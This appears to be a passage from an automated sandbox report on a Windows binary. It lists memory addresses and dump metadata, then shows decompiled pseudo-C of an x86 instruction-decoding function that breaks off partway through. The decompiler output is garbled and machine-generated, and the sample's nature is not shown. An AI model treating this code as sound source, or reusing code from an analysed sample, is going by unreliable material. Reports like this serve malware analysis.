                                                                                                      0x6ec38854
                                                                                                      0x6ec38854
                                                                                                      0x6ec38856
                                                                                                      0x6ec3885a
                                                                                                      0x6ec3885f
                                                                                                      0x6ec38861
                                                                                                      0x6ec38865
                                                                                                      0x6ec38868
                                                                                                      0x6ec38870
                                                                                                      0x6ec38872
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec38889
                                                                                                      0x6ec388a4
                                                                                                      0x6ec388a6
                                                                                                      0x6ec388b4
                                                                                                      0x6ec388b9
                                                                                                      0x6ec388bb
                                                                                                      0x6ec388d8
                                                                                                      0x6ec388d8
                                                                                                      0x6ec388dc
                                                                                                      0x6ec388de
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec388e0
                                                                                                      0x6ec388e3
                                                                                                      0x6ec38904
                                                                                                      0x6ec38923
                                                                                                      0x6ec38929
                                                                                                      0x6ec3892c
                                                                                                      0x6ec38931
                                                                                                      0x6ec38932
                                                                                                      0x6ec38939
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec38941
                                                                                                      0x6ec38941
                                                                                                      0x6ec38943
                                                                                                      0x6ec3894f
                                                                                                      0x6ec3895b
                                                                                                      0x6ec3897d
                                                                                                      0x6ec38982
                                                                                                      0x6ec38983
                                                                                                      0x6ec38983
                                                                                                      0x00000000
                                                                                                      0x6ec38943
                                                                                                      0x00000000
                                                                                                      0x6ec388e3
                                                                                                      0x6ec388bd
                                                                                                      0x6ec388c3
                                                                                                      0x6ec388c5
                                                                                                      0x6ec388c6
                                                                                                      0x6ec388c7
                                                                                                      0x6ec388c8
                                                                                                      0x6ec388cc
                                                                                                      0x6ec388d0
                                                                                                      0x6ec388d2
                                                                                                      0x6ec388d3
                                                                                                      0x6ec388d4
                                                                                                      0x6ec388d6
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec388d6
                                                                                                      0x6ec388e9
                                                                                                      0x00000000
                                                                                                      0x6ec388e9
                                                                                                      0x6ec386d8
                                                                                                      0x6ec386da
                                                                                                      0x6ec386dc
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec386e6
                                                                                                      0x6ec386e6
                                                                                                      0x6ec386e8
                                                                                                      0x6ec386eb
                                                                                                      0x6ec386ed
                                                                                                      0x6ec386f5
                                                                                                      0x6ec386fc
                                                                                                      0x6ec38700
                                                                                                      0x6ec38703
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec387ff
                                                                                                      0x6ec38800
                                                                                                      0x6ec38802
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec38802
                                                                                                      0x6ec38709
                                                                                                      0x6ec3870c
                                                                                                      0x6ec38715
                                                                                                      0x6ec3871a
                                                                                                      0x6ec3871c
                                                                                                      0x6ec38728
                                                                                                      0x6ec3872c
                                                                                                      0x6ec38731
                                                                                                      0x6ec38735
                                                                                                      0x6ec38b12
                                                                                                      0x6ec38b26
                                                                                                      0x6ec38b48
                                                                                                      0x6ec38b4d
                                                                                                      0x6ec38b4d
                                                                                                      0x6ec3874b
                                                                                                      0x6ec38750
                                                                                                      0x6ec38754
                                                                                                      0x6ec38754
                                                                                                      0x6ec38754
                                                                                                      0x6ec38754
                                                                                                      0x6ec38759
                                                                                                      0x6ec3875e
                                                                                                      0x6ec38760
                                                                                                      0x6ec38764
                                                                                                      0x6ec3876b
                                                                                                      0x6ec38770
                                                                                                      0x6ec38772
                                                                                                      0x6ec38ad3
                                                                                                      0x6ec38ae2
                                                                                                      0x6ec38afb
                                                                                                      0x6ec38b00
                                                                                                      0x6ec38b00
                                                                                                      0x6ec38785
                                                                                                      0x6ec3878a
                                                                                                      0x6ec3878e
                                                                                                      0x6ec3878e
                                                                                                      0x6ec3878e
                                                                                                      0x6ec387a0
                                                                                                      0x6ec387c1
                                                                                                      0x6ec387c9
                                                                                                      0x6ec387d7
                                                                                                      0x6ec387f5
                                                                                                      0x6ec387fb
                                                                                                      0x6ec387fb
                                                                                                      0x00000000
                                                                                                      0x6ec3870c
                                                                                                      0x6ec385a4
                                                                                                      0x6ec385a4
                                                                                                      0x6ec385a6
                                                                                                      0x6ec385ad
                                                                                                      0x6ec385bb
                                                                                                      0x6ec385bd
                                                                                                      0x6ec385c1
                                                                                                      0x6ec385c3
                                                                                                      0x6ec385c5
                                                                                                      0x6ec38600
                                                                                                      0x6ec3860f
                                                                                                      0x6ec38611
                                                                                                      0x6ec38613
                                                                                                      0x6ec38631
                                                                                                      0x6ec38633
                                                                                                      0x6ec38635
                                                                                                      0x6ec38647
                                                                                                      0x6ec38665
                                                                                                      0x6ec3866e
                                                                                                      0x6ec38671
                                                                                                      0x6ec3867f
                                                                                                      0x6ec38690
                                                                                                      0x6ec386ae
                                                                                                      0x6ec386b0
                                                                                                      0x6ec386b4
                                                                                                      0x6ec386b4
                                                                                                      0x6ec386b4
                                                                                                      0x6ec38635
                                                                                                      0x00000000
                                                                                                      0x6ec38613
                                                                                                      0x6ec385cb
                                                                                                      0x6ec385cb
                                                                                                      0x6ec385d0
                                                                                                      0x6ec385d7
                                                                                                      0x6ec385e6
                                                                                                      0x6ec385ed
                                                                                                      0x6ec385ef
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec385fb
                                                                                                      0x6ec385fc
                                                                                                      0x6ec385fe
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec385fe
                                                                                                      0x6ec385f1
                                                                                                      0x6ec385f4
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec386b6
                                                                                                      0x6ec386b6
                                                                                                      0x6ec386b7
                                                                                                      0x6ec386b7
                                                                                                      0x00000000
                                                                                                      0x6ec38497
                                                                                                      0x6ec38497
                                                                                                      0x6ec38497
                                                                                                      0x6ec38499
                                                                                                      0x6ec384a0
                                                                                                      0x6ec384ae
                                                                                                      0x6ec384b0
                                                                                                      0x6ec384b4
                                                                                                      0x6ec384b6
                                                                                                      0x6ec384e2
                                                                                                      0x6ec384e6
                                                                                                      0x6ec384eb
                                                                                                      0x6ec384f0
                                                                                                      0x6ec384f4
                                                                                                      0x6ec384f8
                                                                                                      0x6ec384ff
                                                                                                      0x6ec38504
                                                                                                      0x6ec38506
                                                                                                      0x6ec38a95
                                                                                                      0x6ec38aa4
                                                                                                      0x6ec38ac3
                                                                                                      0x6ec38ac8
                                                                                                      0x6ec38ac8
                                                                                                      0x6ec38519
                                                                                                      0x6ec3851e
                                                                                                      0x6ec38522
                                                                                                      0x6ec38522
                                                                                                      0x6ec38522
                                                                                                      0x6ec38533
                                                                                                      0x6ec38535
                                                                                                      0x6ec38537
                                                                                                      0x6ec38548
                                                                                                      0x6ec38548
                                                                                                      0x6ec3854d
                                                                                                      0x6ec38552
                                                                                                      0x6ec38556
                                                                                                      0x6ec3855b
                                                                                                      0x6ec38562
                                                                                                      0x6ec38567
                                                                                                      0x6ec38569
                                                                                                      0x6ec38a57
                                                                                                      0x6ec38a63
                                                                                                      0x6ec38a7d
                                                                                                      0x6ec38a82
                                                                                                      0x6ec38a82
                                                                                                      0x6ec3857f
                                                                                                      0x6ec38584
                                                                                                      0x6ec38588
                                                                                                      0x6ec38588
                                                                                                      0x6ec38588
                                                                                                      0x6ec38588
                                                                                                      0x6ec3858b
                                                                                                      0x6ec3858b
                                                                                                      0x00000000
                                                                                                      0x6ec3858b
                                                                                                      0x6ec384ba
                                                                                                      0x6ec384ba
                                                                                                      0x6ec384bc
                                                                                                      0x6ec384c8
                                                                                                      0x6ec384cf
                                                                                                      0x6ec384d1
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec384dd
                                                                                                      0x6ec384de
                                                                                                      0x6ec384e0
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec384e0
                                                                                                      0x6ec384d3
                                                                                                      0x6ec384d6
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3858c
                                                                                                      0x6ec38590
                                                                                                      0x6ec38591
                                                                                                      0x6ec38591
                                                                                                      0x00000000
                                                                                                      0x6ec38499
                                                                                                      0x6ec38491

                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID: 0-3916222277
                                                                                                      • Opcode ID: 6ef57238032d434573a229406e5b3f471aaa2c466f36d27769f972841248c63e
                                                                                                      • Instruction ID: 7938637268efe7cf0aad9b068da051550adac0cd6a32fa8dfa38c26291bb3b89
                                                                                                      • Opcode Fuzzy Hash: 6ef57238032d434573a229406e5b3f471aaa2c466f36d27769f972841248c63e
                                                                                                      • Instruction Fuzzy Hash: 8C1230722043559FC714EFA4C990AAEB7E9AF85704F308D2DE999C72A1FB309D05CB52
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 100%
                                                                                                      			E6EC49370(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
                                                                                                      				signed int _t250;
                                                                                                      				signed char _t251;
                                                                                                      				signed char* _t254;
                                                                                                      				char _t255;
                                                                                                      				signed short _t256;
                                                                                                      				char _t257;
                                                                                                      				signed short _t260;
                                                                                                      				signed int _t261;
                                                                                                      				signed int _t262;
                                                                                                      				void* _t264;
                                                                                                      				void* _t272;
                                                                                                      				void* _t273;
                                                                                                      				signed short* _t274;
                                                                                                      				signed char _t275;
                                                                                                      				signed int _t277;
                                                                                                      				signed int _t278;
                                                                                                      				void* _t282;
                                                                                                      				signed int _t288;
                                                                                                      				unsigned int _t290;
                                                                                                      				signed int _t292;
                                                                                                      				signed int _t293;
                                                                                                      				signed int _t294;
                                                                                                      				signed int _t295;
                                                                                                      				unsigned int _t296;
                                                                                                      				unsigned int _t297;
                                                                                                      				signed int _t299;
                                                                                                      				unsigned int _t301;
                                                                                                      				signed char _t302;
                                                                                                      				signed int _t304;
                                                                                                      				signed char _t307;
                                                                                                      				signed char _t308;
                                                                                                      				signed int _t309;
                                                                                                      				void* _t312;
                                                                                                      				void* _t313;
                                                                                                      				signed int _t314;
                                                                                                      				signed int _t316;
                                                                                                      				signed int _t319;
                                                                                                      				signed int _t321;
                                                                                                      				signed int _t338;
                                                                                                      				signed int _t339;
                                                                                                      				signed int _t343;
                                                                                                      				signed int _t345;
                                                                                                      				unsigned int* _t346;
                                                                                                      				unsigned int _t354;
                                                                                                      				signed int _t355;
                                                                                                      				void* _t357;
                                                                                                      				signed int _t364;
                                                                                                      				signed int _t366;
                                                                                                      				signed int _t383;
                                                                                                      				signed int _t388;
                                                                                                      				signed int _t391;
                                                                                                      				signed int _t395;
                                                                                                      				signed int _t396;
                                                                                                      				signed int _t397;
                                                                                                      				signed int _t398;
                                                                                                      				signed int _t399;
                                                                                                      				signed int _t400;
                                                                                                      				signed int _t403;
                                                                                                      				signed int _t408;
                                                                                                      				signed int _t411;
                                                                                                      				signed int _t412;
                                                                                                      				signed int _t413;
                                                                                                      				signed int _t417;
                                                                                                      				signed int _t419;
                                                                                                      				signed int _t424;
                                                                                                      				void* _t426;
                                                                                                      				signed int* _t427;
                                                                                                      
                                                                                                      				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
                                                                                                      				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
                                                                                                      				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
                                                                                                      				_t274 =  *(_t426 + 0x48);
                                                                                                      				E6EC43698( *(_t426 + 0x48), 0, 0x1c);
                                                                                                      				_t427 = _t426 + 0xc;
                                                                                                      				_t338 = 0;
                                                                                                      				_t282 = 0x10;
                                                                                                      				do {
                                                                                                      					_t250 =  *_t274 & 0x000000ff;
                                                                                                      					_t274 =  &(_t274[0]);
                                                                                                      					if(_t250 == 0xf3) {
                                                                                                      						_t383 = _t427[0x10];
                                                                                                      						_t339 = _t338 | 0x00000004;
                                                                                                      						L17:
                                                                                                      						_t338 = _t339 & 0x000000ff;
                                                                                                      						 *(_t383 + 1) = _t250;
                                                                                                      						goto L18;
                                                                                                      					}
                                                                                                      					if(_t250 == 0xf2) {
                                                                                                      						_t383 = _t427[0x10];
                                                                                                      						_t339 = _t338 | 0x00000002;
                                                                                                      						goto L17;
                                                                                                      					}
                                                                                                      					if(_t250 == 0xf0) {
                                                                                                      						_t338 = (_t338 | 0x00000020) & 0x000000ff;
                                                                                                      						 *(_t427[0x10] + 2) = _t250;
                                                                                                      						goto L18;
                                                                                                      					}
                                                                                                      					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
                                                                                                      						L13:
                                                                                                      						_t338 = (_t338 | 0x00000040) & 0x000000ff;
                                                                                                      						 *(_t427[0x10] + 3) = _t250;
                                                                                                      					} else {
                                                                                                      						_t6 = _t250 - 0x64; // -100
                                                                                                      						if(_t6 <= 1) {
                                                                                                      							goto L13;
                                                                                                      						}
                                                                                                      						if(_t250 == 0x66) {
                                                                                                      							_t338 = (_t338 | 0x00000008) & 0x000000ff;
                                                                                                      							 *(_t427[0x10] + 4) = _t250;
                                                                                                      							goto L18;
                                                                                                      						}
                                                                                                      						if(_t250 != 0x67) {
                                                                                                      							break;
                                                                                                      						} else {
                                                                                                      							_t338 = _t338 | 0x00000010;
                                                                                                      							 *(_t427[0x10] + 5) = _t250;
                                                                                                      							goto L18;
                                                                                                      						}
                                                                                                      					}
                                                                                                      					L18:
                                                                                                      					_t282 = _t282 + 0xff;
                                                                                                      				} while (_t282 != 0);
                                                                                                      				_t388 = _t427[0x10];
                                                                                                      				_t285 =  !=  ? _t338 : 1;
                                                                                                      				_t343 = _t338 << 0x17;
                                                                                                      				 *(_t388 + 6) = _t250;
                                                                                                      				 *_t427 =  !=  ? _t338 : 1;
                                                                                                      				 *(_t388 + 0x18) = _t343;
                                                                                                      				if(_t250 == 0xf) {
                                                                                                      					_t250 =  *_t274 & 0x000000ff;
                                                                                                      					_t274 =  &(_t274[0]);
                                                                                                      					_t427[5] = _t250;
                                                                                                      					 *(_t427[0x10] + 7) = _t250;
                                                                                                      					_t427[2] = _t427[4] + 0x4a;
                                                                                                      				} else {
                                                                                                      					_t22 = _t250 - 0xa0; // -160
                                                                                                      					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
                                                                                                      					if(_t22 <= 3) {
                                                                                                      						_t424 =  *_t427;
                                                                                                      						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
                                                                                                      						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
                                                                                                      					}
                                                                                                      				}
                                                                                                      				_t354 = _t250 >> 2;
                                                                                                      				_t391 = _t250 & 0x00000003;
                                                                                                      				_t345 = _t427[2];
                                                                                                      				_t427[3] = _t391;
                                                                                                      				_t427[6] = _t354;
                                                                                                      				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
                                                                                                      				_t427[1] = _t288;
                                                                                                      				if(_t288 == 0xff) {
                                                                                                      					_t343 = _t343 + 0x3000;
                                                                                                      					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
                                                                                                      					 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      					_t427[1] = _t288;
                                                                                                      				}
                                                                                                      				if((_t427[1] & 0x00000080) != 0) {
                                                                                                      					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
                                                                                                      					_t427[1] = _t290;
                                                                                                      					_t395 = _t290 >> 8;
                                                                                                      				} else {
                                                                                                      					_t395 = 0;
                                                                                                      				}
                                                                                                      				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
                                                                                                      					_t343 = _t343 | 0x00003000;
                                                                                                      					 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      				}
                                                                                                      				if((_t427[1] & 0x00000001) == 0) {
                                                                                                      					if(( *_t427 & 0x00000020) != 0) {
                                                                                                      						_t343 = _t343 | 0x00009000;
                                                                                                      						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      					}
                                                                                                      					goto L114;
                                                                                                      				} else {
                                                                                                      					_t355 = _t427[0x10];
                                                                                                      					_t343 = _t343 | 0x00000001;
                                                                                                      					 *(_t355 + 0x18) = _t343;
                                                                                                      					_t296 =  *_t274 & 0x000000ff;
                                                                                                      					_t346 =  &(_t427[6]);
                                                                                                      					 *_t346 = _t296;
                                                                                                      					 *(_t355 + 8) = _t296;
                                                                                                      					_t297 = _t296 >> 6;
                                                                                                      					_t427[3] = _t297;
                                                                                                      					 *(_t355 + 9) = _t297;
                                                                                                      					_t299 =  *_t346 & 0x00000007;
                                                                                                      					_t427[7] = _t299;
                                                                                                      					 *(_t355 + 0xb) = _t299;
                                                                                                      					_t301 =  *_t346 & 0x0000003f;
                                                                                                      					 *_t346 = _t301;
                                                                                                      					_t302 = _t301 >> 3;
                                                                                                      					_t427[2] = _t302;
                                                                                                      					 *(_t355 + 0xa) = _t302;
                                                                                                      					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
                                                                                                      						_t343 = _t343 | 0x00003000;
                                                                                                      						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      					}
                                                                                                      					if(_t427[5] == 0) {
                                                                                                      						_t80 = _t250 - 0xd9; // -217
                                                                                                      						if(_t80 <= 6) {
                                                                                                      							_t81 = _t250 + 0x27; // 0x27
                                                                                                      							_t417 = _t81 & 0x000000ff;
                                                                                                      							if(_t427[3] != 3) {
                                                                                                      								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
                                                                                                      							} else {
                                                                                                      								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
                                                                                                      							}
                                                                                                      							if((_t419 & 0x00000080) != 0) {
                                                                                                      								_t343 = _t343 | 0x00003000;
                                                                                                      								 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      							}
                                                                                                      						}
                                                                                                      					}
                                                                                                      					if(( *_t427 & 0x00000020) == 0) {
                                                                                                      						L52:
                                                                                                      						if(_t427[5] == 0) {
                                                                                                      							if(_t250 == 0x8c) {
                                                                                                      								L85:
                                                                                                      								if(_t427[2] <= 5) {
                                                                                                      									L87:
                                                                                                      									_t427[5] = _t274[0];
                                                                                                      									_t427[4] =  &(_t274[1]);
                                                                                                      									if(_t427[2] <= 1) {
                                                                                                      										if(_t250 != 0xf6) {
                                                                                                      											_t309 = _t427[1];
                                                                                                      											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
                                                                                                      											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
                                                                                                      										} else {
                                                                                                      											_t427[1] = _t427[1] | 0xffffff82;
                                                                                                      										}
                                                                                                      									}
                                                                                                      									if(_t427[3] == 0) {
                                                                                                      										if(( *_t427 & 0x00000010) == 0) {
                                                                                                      											_t264 = 4;
                                                                                                      											_t357 =  ==  ? _t264 : 0;
                                                                                                      										} else {
                                                                                                      											_t273 = 2;
                                                                                                      											_t357 =  ==  ? _t273 : 0;
                                                                                                      										}
                                                                                                      									} else {
                                                                                                      										if(_t427[3] == 1) {
                                                                                                      											_t357 = 1;
                                                                                                      										} else {
                                                                                                      											if(_t427[3] == 2) {
                                                                                                      												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
                                                                                                      											} else {
                                                                                                      												_t357 = 0;
                                                                                                      											}
                                                                                                      										}
                                                                                                      									}
                                                                                                      									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
                                                                                                      										_t307 = _t427[5];
                                                                                                      										_t343 = _t343 | 0x00000002;
                                                                                                      										_t403 = _t427[0x10];
                                                                                                      										_t427[4] =  &(_t274[1]);
                                                                                                      										 *(_t403 + 0xc) = _t307;
                                                                                                      										_t308 = _t307 & 0x00000007;
                                                                                                      										 *(_t403 + 0x18) = _t343;
                                                                                                      										 *(_t403 + 0xd) = _t307 >> 6;
                                                                                                      										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
                                                                                                      										 *(_t403 + 0xf) = _t308;
                                                                                                      										if(_t308 == 5) {
                                                                                                      											_t272 = 4;
                                                                                                      											_t357 =  ==  ? _t272 : _t357;
                                                                                                      										}
                                                                                                      									}
                                                                                                      									if(_t357 == 1) {
                                                                                                      										_t304 = _t427[0x10];
                                                                                                      										_t343 = _t343 | 0x00000020;
                                                                                                      										 *(_t304 + 0x18) = _t343;
                                                                                                      										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
                                                                                                      									} else {
                                                                                                      										if(_t357 == 2) {
                                                                                                      											_t277 = _t427[0x10];
                                                                                                      											_t343 = _t343 | 0x00000040;
                                                                                                      											 *(_t277 + 0x18) = _t343;
                                                                                                      											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
                                                                                                      										} else {
                                                                                                      											if(_t357 == 4) {
                                                                                                      												_t278 = _t427[0x10];
                                                                                                      												_t343 = _t343 | 0x00000080;
                                                                                                      												 *(_t278 + 0x18) = _t343;
                                                                                                      												 *(_t278 + 0x14) =  *(_t427[4] - 1);
                                                                                                      											}
                                                                                                      										}
                                                                                                      									}
                                                                                                      									_t195 = _t427[4] - 1; // -1
                                                                                                      									_t274 = _t357 + _t195;
                                                                                                      									L114:
                                                                                                      									_t251 = _t427[1];
                                                                                                      									_t292 = _t251 & 0x00000040;
                                                                                                      									if((_t251 & 0x00000010) == 0) {
                                                                                                      										L121:
                                                                                                      										if((_t427[1] & 0x00000004) == 0) {
                                                                                                      											L129:
                                                                                                      											if((_t427[1] & 0x00000002) != 0) {
                                                                                                      												_t396 = _t427[0x10];
                                                                                                      												_t343 = _t343 | 0x00000004;
                                                                                                      												 *(_t396 + 0x18) = _t343;
                                                                                                      												_t257 =  *_t274;
                                                                                                      												_t274 =  &(_t274[0]);
                                                                                                      												 *((char*)(_t396 + 0x10)) = _t257;
                                                                                                      											}
                                                                                                      											if(_t292 == 0) {
                                                                                                      												if((_t427[1] & 0x00000020) != 0) {
                                                                                                      													_t293 = _t427[0x10];
                                                                                                      													_t343 = _t343 | 0x00000104;
                                                                                                      													 *(_t293 + 0x18) = _t343;
                                                                                                      													_t255 =  *_t274;
                                                                                                      													_t274 =  &(_t274[0]);
                                                                                                      													 *((char*)(_t293 + 0x10)) = _t255;
                                                                                                      												}
                                                                                                      												goto L135;
                                                                                                      											} else {
                                                                                                      												L132:
                                                                                                      												_t294 = _t427[0x10];
                                                                                                      												_t343 = _t343 | 0x00000110;
                                                                                                      												 *(_t294 + 0x18) = _t343;
                                                                                                      												_t256 =  *_t274;
                                                                                                      												_t274 =  &(_t274[2]);
                                                                                                      												 *(_t294 + 0x10) = _t256;
                                                                                                      												L135:
                                                                                                      												_t275 = _t274 - _t427[0xf];
                                                                                                      												if(_t275 <= 0xf) {
                                                                                                      													 *(_t427[0x10]) = _t275;
                                                                                                      												} else {
                                                                                                      													_t254 = _t427[0x10];
                                                                                                      													_t275 = 0xf;
                                                                                                      													_t254[0x18] = _t343 | 0x00005000;
                                                                                                      													 *_t254 = _t275;
                                                                                                      												}
                                                                                                      												return _t275 & 0x000000ff;
                                                                                                      											}
                                                                                                      										}
                                                                                                      										if((_t343 & 0x00000010) == 0) {
                                                                                                      											if((_t343 & 0x00000008) == 0) {
                                                                                                      												_t397 = _t427[0x10];
                                                                                                      												_t343 = _t343 | 0x00000008;
                                                                                                      												 *(_t397 + 0x18) = _t343;
                                                                                                      												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
                                                                                                      												L128:
                                                                                                      												_t274 =  &(_t274[1]);
                                                                                                      												goto L129;
                                                                                                      											}
                                                                                                      											_t398 = _t427[0x10];
                                                                                                      											_t343 = _t343 | 0x00000800;
                                                                                                      											L126:
                                                                                                      											 *(_t398 + 0x18) = _t343;
                                                                                                      											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
                                                                                                      											goto L128;
                                                                                                      										}
                                                                                                      										_t398 = _t427[0x10];
                                                                                                      										_t343 = _t343 | 0x00000008;
                                                                                                      										goto L126;
                                                                                                      									}
                                                                                                      									if(_t292 == 0) {
                                                                                                      										if(( *_t427 & 0x00000008) == 0) {
                                                                                                      											_t399 = _t427[0x10];
                                                                                                      											_t343 = _t343 | 0x00000010;
                                                                                                      											 *(_t399 + 0x18) = _t343;
                                                                                                      											_t260 =  *_t274;
                                                                                                      											_t274 =  &(_t274[2]);
                                                                                                      											 *(_t399 + 0x10) = _t260;
                                                                                                      										} else {
                                                                                                      											_t400 = _t427[0x10];
                                                                                                      											_t343 = _t343 | 0x00000008;
                                                                                                      											 *(_t400 + 0x18) = _t343;
                                                                                                      											_t261 =  *_t274 & 0x0000ffff;
                                                                                                      											_t274 =  &(_t274[1]);
                                                                                                      											 *(_t400 + 0x10) = _t261;
                                                                                                      										}
                                                                                                      										goto L121;
                                                                                                      									}
                                                                                                      									if(( *_t427 & 0x00000008) == 0) {
                                                                                                      										goto L132;
                                                                                                      									}
                                                                                                      									_t295 = _t427[0x10];
                                                                                                      									_t343 = _t343 | 0x00000108;
                                                                                                      									 *(_t295 + 0x18) = _t343;
                                                                                                      									_t262 =  *_t274 & 0x0000ffff;
                                                                                                      									_t274 =  &(_t274[1]);
                                                                                                      									 *(_t295 + 0x10) = _t262;
                                                                                                      									goto L135;
                                                                                                      								}
                                                                                                      								L86:
                                                                                                      								_t343 = _t343 | 0x00011000;
                                                                                                      								 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      								goto L87;
                                                                                                      							}
                                                                                                      							if(_t250 != 0x8e) {
                                                                                                      								L66:
                                                                                                      								if(_t427[3] != 3) {
                                                                                                      									if(_t427[5] == 0) {
                                                                                                      										goto L87;
                                                                                                      									}
                                                                                                      									if(_t250 == 0xd7 || _t250 == 0xf7) {
                                                                                                      										L83:
                                                                                                      										if(( *_t427 & 0x00000009) != 0) {
                                                                                                      											goto L86;
                                                                                                      										}
                                                                                                      									} else {
                                                                                                      										if(_t250 == 0xd6) {
                                                                                                      											if(( *_t427 & 0x00000006) != 0) {
                                                                                                      												goto L86;
                                                                                                      											}
                                                                                                      											goto L87;
                                                                                                      										}
                                                                                                      										if(_t250 == 0xc5) {
                                                                                                      											goto L86;
                                                                                                      										}
                                                                                                      										if(_t250 == 0x50) {
                                                                                                      											goto L83;
                                                                                                      										}
                                                                                                      									}
                                                                                                      									goto L87;
                                                                                                      								}
                                                                                                      								_t364 = _t427[4];
                                                                                                      								_t312 = _t364 + 0x1da;
                                                                                                      								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
                                                                                                      								_t313 =  !=  ? _t427[9] + _t364 : _t312;
                                                                                                      								_t427[4] = _t366;
                                                                                                      								if(_t366 == _t313) {
                                                                                                      									goto L87;
                                                                                                      								} else {
                                                                                                      									goto L68;
                                                                                                      								}
                                                                                                      								while(1) {
                                                                                                      									L68:
                                                                                                      									_t408 = _t427[4];
                                                                                                      									if(_t250 ==  *_t408) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									_t411 = _t408 + 3;
                                                                                                      									_t427[4] = _t411;
                                                                                                      									if(_t411 != _t313) {
                                                                                                      										continue;
                                                                                                      									}
                                                                                                      									goto L87;
                                                                                                      								}
                                                                                                      								_t314 = _t408;
                                                                                                      								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
                                                                                                      									goto L87;
                                                                                                      								}
                                                                                                      								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
                                                                                                      									goto L86;
                                                                                                      								}
                                                                                                      								goto L87;
                                                                                                      							}
                                                                                                      							if(_t427[2] == 1) {
                                                                                                      								goto L86;
                                                                                                      							}
                                                                                                      							goto L85;
                                                                                                      						}
                                                                                                      						if(_t250 == 0x20 || _t250 == 0x22) {
                                                                                                      							_t316 = 3;
                                                                                                      							_t427[3] = _t316;
                                                                                                      							if(_t427[2] > 4 || _t427[2] == 1) {
                                                                                                      								goto L86;
                                                                                                      							} else {
                                                                                                      								goto L87;
                                                                                                      							}
                                                                                                      						} else {
                                                                                                      							if(_t250 == 0x21 || _t250 == 0x23) {
                                                                                                      								_t319 = 3;
                                                                                                      								_t427[3] = _t319;
                                                                                                      								if((_t427[6] & 0xfffffff0) == 0x20) {
                                                                                                      									goto L86;
                                                                                                      								}
                                                                                                      								goto L87;
                                                                                                      							} else {
                                                                                                      								goto L66;
                                                                                                      							}
                                                                                                      						}
                                                                                                      					}
                                                                                                      					if(_t427[3] == 3) {
                                                                                                      						L51:
                                                                                                      						_t343 = _t343 | 0x00009000;
                                                                                                      						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                      						goto L52;
                                                                                                      					}
                                                                                                      					_t412 = _t427[4];
                                                                                                      					_t321 = _t250;
                                                                                                      					_t427[8] = _t412 + 0x1b9;
                                                                                                      					if(_t427[5] == 0) {
                                                                                                      						_t413 = _t412 + 0x1a1;
